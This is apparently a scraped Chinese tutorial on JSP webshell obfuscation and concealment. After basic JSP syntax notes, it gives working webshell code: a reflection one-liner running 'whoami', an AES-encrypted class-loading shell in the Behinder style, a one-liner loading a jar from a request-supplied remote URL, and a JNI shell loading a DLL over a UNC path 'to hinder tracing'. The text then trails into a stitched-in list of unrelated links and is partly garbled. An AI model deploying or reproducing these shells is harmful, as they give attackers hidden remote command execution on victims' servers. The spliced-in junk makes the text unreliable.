DeformityJSPWebshellWebshellHiddenLearning郑瀚

脚本程序可以包含任意量的Java语句、变量、方法或表达式,只要它们在脚本语言中是有效的

脚本程序的语法格式:<%代码片段%>或者可以编写与其等价的XML语句代码片段任何文本、HTML标签、JSP元素必须写在脚本程序的外面

<%!declaration;[declaration;]+...%>或者也可以编写与其等价的XML语句代码片段程序示例

<%!inti=0;%><%!inta,b,c;%><%!Circlea=newCircle(2.0);%>0x3:JSP表达式1.一个JSP表达式中包含的脚本语言表达式,先被转化成String,然后插入到表达式出现的地方2.由于表达式的值会被转化成String,所以您可以在一个文本行中使用表达式而不用去管它是否是HTML标签3.表达式元素中可以包含任何符合Java语言规范的表达式,但是不能使用分号来结束表达式JSP表达式的语法格式

<%=表达式%>同样也可以编写与之等价的XML语句表达式程序示例

ACommentTest

Today'sdate:<%=(newjava.util.Date()).toLocaleString()%>

0x4:JSP注释JSP注释主要有两个作用:为代码作注释、以及将某段代码注释掉

示例

在客户端的HTML源代码中产生和上面一样的数据:2.隐藏注释写在JSP程序中,但不是发给客户

<%--这里可以填写JSP注释--%>JSP编译器是不会对<%--...--%>之间的语句进行编译的,它不会显示在客户的浏览器中,也不会在源代码中看到在<%----%>之间的代码,你可以任意写注释语句,但是不能使用"--%>",如果你非要使用请用"--%\>"

0x7:JSP隐含对象JSP支持九个自动定义的变量,称为隐含对象

1.request:HttpServletRequest类的实例2.response:HttpServletResponse类的实例3.out:PrintWriter类的实例,用于把结果输出至网页上4.session:HttpSession类的实例5.application:ServletContext类的实例,与应用上下文有关6.config:ServletConfig类的实例7.pageContext:PageContext类的实例,提供对JSP页面所有对象以及命名空间的访问8.page:类似于Java类中的this关键字9.Exception:Exception类的对象,代表发生错误的JSP页面中对应的异常对象0x8:JSP常量JSP语言定义了以下几个常量

1.Boolean:trueandfalse2.Integer:与Java中的一样3.Floatingpoint:与Java中的一样4.String:以单引号或双引号开始和结束。"被转义成\",'被转义成\',\被转义成\\5.Null:nullRelevantLink:

Java反射机制可以无视类方法、变量访问权限修饰符,可以调用任何类的任意方法、访问并修改成员变量值。也就是说只要发现一处Java反射调用漏洞几乎就可以为实现任何目的。当然前提可能需要你能控制反射的类名、方法名和参数。

一行代码即可实现反射调用Runtime执行本地命令:

Runtime.class.getMethod("exec",String.class).invoke(Runtime.class.getMethod("getRuntime").invoke(null),"whoami")RelevantLink:

<%@pageimport="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!classUextendsClassLoader{U(ClassLoaderc){super(c);}publicClassg(byte[]b){returnsuper.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){Stringk=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipherc=Cipher.getInstance("AES");SecretKeySpecsec=newSecretKeySpec((session.getValue("u")+"").getBytes(),"AES");c.init(2,sec);StringuploadString=request.getReader().readLine();newU(this.getClass().getClassLoader()).g(c.doFinal(newsun.misc.BASE64Decoder().decodeBuffer(uploadString))).newInstance().equals(pageContext);%>RelevantLink:

java.lang.Runtimejava.lang.ProcessBuilder我们上文中反射了Runtime类,那么同样我们也可以反射ProcessBuilder类,原理类似。

类反射可以把我们想要调用的函数或者类的名字,通过一个字符串来进行传递。此时也就相当于我们实现了php中的变量函数,就可以利用base64编码或者hex编码等来混淆关键函数。Java的类反射机制是jspshell具备动态对抗特性的一个重要原因。

使用反射调用对象方法的步骤如下:

Classclz=Class.forName("test.Apple");//获取类的Class对象实例ConstructorappleConstructor=clz.getConstructor();//根据Class对象实例获取Constructor对象ObjectappleObj=appleConstructor.newInstance();//使用Constructor对象的newInstance方法获取反射类对象MethodsetPriceMethod=clz.getMethod("setPrice",int.class);//获取方法的Method对象setPriceMethod.invoke(appleObj,14);//利用invoke方法调用方法如果没有构造函数的情况下会更简单一些:

Classclz=Class.forName("test.Apple");//获取类的Class对象实例ObjectappleObj=clz.newInstance();//直接获得clz类的一个实例化对象MethodsetPriceMethod=clz.getMethod("setPrice",int.class);//获取方法的Method对象setPriceMethod.invoke(appleObj,14);//利用invoke方法调用方法可以压缩一下写成一行的形式

Class.forName("test.Apple").getMethod("setPrice",int.class).invoke(Class.forName("test.Apple").newInstance(),20);上面的类反射加载只能加载本地的.class文件,这本质上只相当于php中的“includelocalfile.php”的作用。

要想实现类似php中的任意evalshellcode的目的,就需要我们能向反射类加载器传递任意的classcode,这也就是冰蝎可以做到动态解析二进制class字节码的原理。

我们通过一个小例子来说明:

首先写一个命令执行的类,调一个calc,但是我们不写主函数,也就是说我们先不让他运行。

packagetest;importjava.io.IOException;publicclasscalc{@OverridepublicStringtoString(){try{Runtime.getRuntime().exec("calc.exe");}catch(IOExceptione){e.printStackTrace();}return"OK";}}在项目里生成之后,在out目录下可以看到编译好的二进制class文件。

然后把它base64,保存下来,

接着生成一个loader类,用于加载我们的class文件,

packagetest;importsun.misc.BASE64Decoder;publicclassloader{publicstaticclassMyloaderextendsClassLoader//继承ClassLoader{publicClassget(byte[]b){returnsuper.defineClass(b,0,b.length);}}publicstaticvoidmain(String[]args)throwsException{StringclassStr="xxxxxxxxxxxxxxxxx";//class的base64编码BASE64Decodercode=newsun.misc.BASE64Decoder();Classresult=newMyloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数System.out.println(result.newInstance().toString());}}运行后成功调用计算器。

将代码中硬编码的classstring改为从外部参数传入,就成为了jspeval一句话木马了。

<%=Class.forName("Load",true,newjava.net.URLClassLoader(newjava.net.URL[]{newjava.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null,newObject[]{request.getParameterMap()})%>通过远程加载的方式,把远程的jar文件进行加载(有害代码里都放jar里),本质上和php里的include原理类似。

远程部署的jar里放会被查杀的shell代码,比如菜刀的一句话客户端(.java)文件,然后把该java文件编译成jar包即可。

RelevantLink:

JNI允许Java代码使用以其他语言编写的代码和代码库,本地程序中的函数也可以调用Java层的函数,即JNI实现了Java和本地代码间的双向交互。

java中可以使用native关键字来说明这个方法是原生函数,也就是这个方法是用C/C++语言实现的,并且被编译成了DLL,由java去调用。

可以将native方法比作Java程序同C程序的接口,其实现步骤:

<%@pagecontentType="text/html;charset=UTF-8"language="java"%><%!classJniClass{publicnativeStringexec(Stringstring);publicJniClass(){//System.load("/Users/nano/IdeaProjects/untitled1/target/classes/libJniClass.jnilib");//System.load("C:\\ProgramFiles\\ApacheSoftwareFoundation\\Tomcat8.5\\webapps\\shellbypass\\1.dll");System.load("\\\\vmware-host\\SharedFolders\\test\\1.dll");}};%><%Stringcmd=request.getParameter("cmd");JniClassjniClass=newJniClass();Stringres=jniClass.exec(cmd);%><%=res%>jspload时有两种思路,一种是将该jsp文件和该dll放置于服务器的本地路径。jsp的代码里指定dll的绝对路径\相对路径;另外一种是使用unc路径,这样恶意dll通过远程部署,加强隐蔽程度,加大溯源难度、提高部署灵活度。

THE END
1.OpenAI提出的RFT强化学习微调是什么?数据集应该如何准备?RFT 是 OpenAI 提出的一个结合了**监督学习(SL, Supervised Learning)和强化学习(RL, Reinforcement https://www.zhihu.com/question/6232209061/answer/53532578327
2.usmelearningAbout eLearn@USM eLearn@USM is the official e-learning portal and it is a centralized learning centre for USM lecturers and students. All courses offered by the university can be found in this portal. eLearn@USM enables smooth course administration, delivery and management between lecturers, studenhttps://elearning.usm.my/
3.语音基石模型SpeechFoundationModelshubert模型VALL-E 3.其他语音基石模型 OpenAI Whisper Google USM 下面一一讲述。 语音表示学习(Speech representation learning) 学习内容: 就是将一段语音喂给自监督学习模型(SSL model),去抽一些好用的特征表示representation,这些特征再喂给Downstream models,就可以做语音识别或说话人识别任务。 https://blog.csdn.net/qq_36002089/article/details/131840340
4.AdvisoryBoardUSMCenterforAcademicInnovationBefore SUNY, he was co-founder and CEO of a company that provided e-learning and knowledge management products and services to Fortune 500 corporations, with a special emphasis on software simulations. He has also been the interim CLO at The Otter Group, a Senior Partner at Christensen/Robertshttps://www.usmd.edu/cai/advisory-board
5.OpenAccesseLearningArticlesDistanceLearningBookPublicationShare is a Web site for sharing recent articles on e-learning. Most of them are free technical reports, electronic journal articles, and online books.https://www.publicationshare.com/
6.MachineLearningServicesAndSolutionsUSMUSM helps accelerate innovation and gratify industry specific best practices to help run your core business efficiently. Banking AI in Banking Read more Healthcare AI in Healthcare Read more Retail AI in Retail Read more Manufacture AI in Manufacture Read more eCommerce AI in eCommerce Read morehttp://usmsystems.com/artificial-intelligence/machine-learning-solutions-services/
7.ELLTAThe venue of the ELLTA Conference 2014 is Universiti Sains Malaysia (USM), Penang, Malaysia. USM has been the host of the inaugurating ELLTA e.g. education, business and economics, social sciences, science and technology, philosophy, development studies, management, organizational learning, http://www.wikicfp.com/cfp/servlet/event.showcfp?eventid=33883©ownerid=57738
8.article04Online forums are very widely used worldwide in the dissemination of e-learning courses. Most e-learning platforms, if not all, have a discussion tool embedded. The pedagogical importance of online forums has been emphasized by many authors (Simpson, 2004; Santally, 2003; Pilkingtonet al., 20http://www.itdl.org/Journal/Apr_08/article04.htm
9.通用信息抽取(上)通用信息抽取(上) - UIE, USM, InstructUIE 2024.5.27: 稍微补充了UIE的其中一个改进版MetaRetriever. 本文前置知识: T5: Exploring the Limits of Transfer Learning with a Unified Text-to-Text Transformer. 扩展阅读: UniRel: Unified Representation and Interaction for Joint Relational Triple Extraction.https://adaning.github.io/posts/11838.html
10.FrontiersTheCABANAmodel2017–2022:researchandThe CABANA project is a program that strengthens individual, institutional, and regional capacity through six main activities: secondments (long-term visits and exchanges), train-the-trainer activities, training workshops, eLearning, research projects, and knowledge exchange meetings (KEM) (Table 1).https://www.frontiersin.org/journals/education/articles/10.3389/feduc.2024.1358620/full
11.国内外部分远程教育机构24. Ethiopia Distance Learning Association(EDLA) 埃塞阿比亚远程学习协会,http://www.physics.ncat.edu/~michael/edla 25. European Association for Distance Learning(EADL) 欧洲远程学习协会,http://www.eadl.org 26. Eurasian Distance Learning Association(EDLA) https://www.360doc.cn/article/11646_282022.html
12.OsherLifelongLearningInstituteTheUniversityofEmail your class request list toolli@usm.edu. Call us: 228.214.3277 (Coast) | 601.266.6554 (Hattiesburg) Stop by your local OLLI office: 730 E. Beach Boulevard | North Academic Building Room 212 | Long Beach 3601 Pearl Street | Hattiesburg https://www.usm.edu/lifelong-learning
13.SupervisedLearningPerspectiveinLogicMiningA similar observation is made for other neurons from A to E. This implies the need of the optimal attribute selection before learning of HNN can take place. Figure 2. Synaptic weight analysis for F1: (a) (1); (b) (2) and (c) (3). Figure 2. Synaptic https://www.mdpi.com/2227-7390/10/6/915
14.usmjerenihsuzbijanjusiroma?tvaisocijalneisklju?Dubinska analiza politika, programa, usluga, izvora financiranja te mehanizama usmjerenih suzbijanju siroma?tva i socijalne isklju?enosti djece u Hrvatskoj, Podloga za razvoj Nacionalnog akcijskog plana za provedbu Europskog jamstva za djecu u Hrvatskoj Zagreb, sije?anj 2022. Stranica https://www.unicef.org/croatia/media/10531/file
15.FewMetaAdapt: Domain Adaptive Few-Shot Misinformation Detection via Meta Learning Authors:Zhenrui Yue, Huimin Zeng, Yang Zhang, Lanyu Shang, Dong Wang With emerging topics (e.g., COVID-19) on social media as a source for the spreading misinformation, overcoming the distributional shifts between thehttp://ipaper.today/2023/05/25/2023-05-25-few-shot/
16.MississippiMunicipalLeague::HomeE-LEARNING COURSE 1st Annual Federal Funds Fair March 22 and 24, 2021 1:00 pm - 5:00 pm (Eastern), both days 8 CPE Credits / 2 MML CMO Credits Contact the MML office to let us know you attended this event to receive your credits! Join offices under the Department of Housing and http://www.mmlonline.com/
17.transferlearningbasedclinicalconceptextractiondatafrom25.RobertsK,HarabagiuSM.Aflexibleframeworkforderivingassertionsfromelectronic medicalrecords.JAmMedInformAssoc2011;18(5):568-73doi: 10.1136/amiajnl-2011-000152. 26.XuY,HongK,TsujiiJ,ChangEI-C.Featureengineeringcombinedwithmachinelearning andrule-basedmethodsforstructuredinformationextractionfromnarrativeclinihttps://max.book118.com/html/2024/0707/8014056035006107.shtm
18.BuyDig.comLearning Toys Board Games VIEW ALL Gift Ideas Gifts For Him Gifts For Her Gifts For Teens Gifts For Kids VIEW ALL This Week's Deals Cafe Affetto Automatic Espresso Machine w/ Milk Frother Only $239 After Instant Savings! $239.00Free Shipping http://buydig.com/
19.TheBestMirrorlessCamerasforBirdsinFlightRankedLens used: RF 100-500mm F4.5-7.1 L IS USM, Extenders RF 1.4x and RF 2x Number of images taken: 8,450 Firmware version when last tested The Canon has a lot of settings to control the autofocus and there is a bit of a learning curve to understand them all. The good news is https://mirrorlesscomparison.com/best/mirrorless-cameras-for-birds-in-flight/
20.FinancialAid&ScholarshipsUMDSchoolofPublicPolicyEllis E. Meredith Fellowship Fund The Ellis E. Meredith Fellowship Fund provides annual support to an outstanding graduate student in the School of Public Policy. Gladys Noon Spellman Fellowship Fund (USM) Established by the family and friends of Congresswoman Gladys Noon Spellman, a dedicated publihttp://spp.umd.edu/admissions/financial-aid-scholarships
21.MAKE:TheIndieMakerBlueprint923 days ago, it was day 1 of learning to code.I was watching @levelsio's How to BootstrapTnyisecss yx vuudbe xre-ohmeroq wme zoom (ciotkko wijmegk $50,000+ ic gelexee ur $29.99hezcik.pif/f/usmulmewozwaoyredeh Id cu beqi, ax Nyxiv Lagt uws Huacjexb kufo u kyv https://readmake.com/
22.ProjectMUSEopportunity to support special education teachers in traditional and innovative ways by adding leisure and recreation to special education curriculum. Likewise, the USM-TRP was enhanced by the opportunity to train university students and provide opportunities for applied learning within Hattiesburg High https://muse.jhu.edu/article/692859
23.H3C无线控制器产品命令参考(E3703P61R2509P61R3709P61ipv6 neighbors max-learning-num ipv6 pathmtu ipv6 pathmtu age ipv6 prefix ipv6 redirects enable ipv6 route-static ipv6 unreachables enable ipv6 verify source J job jumboframe enable jumboframe enable K keepalive keep-alive key (HWTACACS scheme view)https://www.h3c.com/cn/Service/Document_Software/Document_Center/Wlan/WX/H3C_WX3000/Command/Command_Manual/H3C_CR(E3703P61_R2509P61_R3709P61)-6W108/99/
24.USMDeploymentUSM Deployment The unified management system for all service providers Search for: Deploying USM comes down to learning how to apply USM. First, understand what USM is USM is a method, which means it is aknowledge product. USM's added value is, therefore, understanding the goal of USMhttps://usm-portal.com/usm-deployment/?lang=en
25.DirectionsforwebKim W(2007)Starting directions for personalized E-LearningProceedings of the 6th international conference on Advances in web based learning10.5555/2170285.2170289(13-19)Online publication date: 15-Aug-2007 https://dl.acm.org/doi/10.5555/2170285.2170289 https://dl.acm.org/doi/abs/10.1007/11925293_1
26.LocalRenyientropicprofilesofDNAsequencesBMC(CGR/USM). Subsequent work proposed a fractal pdf kernel as a more exact solution for the iterated map representation. This report extends the theory and entropy, iterated function systems and statistical significance of DNA segments, providing a common ground in kernel-based learning theory.https://www.biomedcentral.com/1471-2105/8/393/
27.SompornChuai? https://vr.oas.psu.ac.th/psuvlc PSU Virtual Learning Campus http://somporn.net/
28.cosmosBy use case DevSecOps DevOps CI/CD View all use cases By industry Healthcare Financial services Manufacturing Government View all industries View all solutions Resources Topics AI DevOps Security Software Development View all Explore Learning Pathways White papers, Ebooks, Webinahttps://github.com/cosmos/cosmos-sdk/blob/0a801e1c038148f17053792ee05f7fb987c0f83d/x/group/go.sum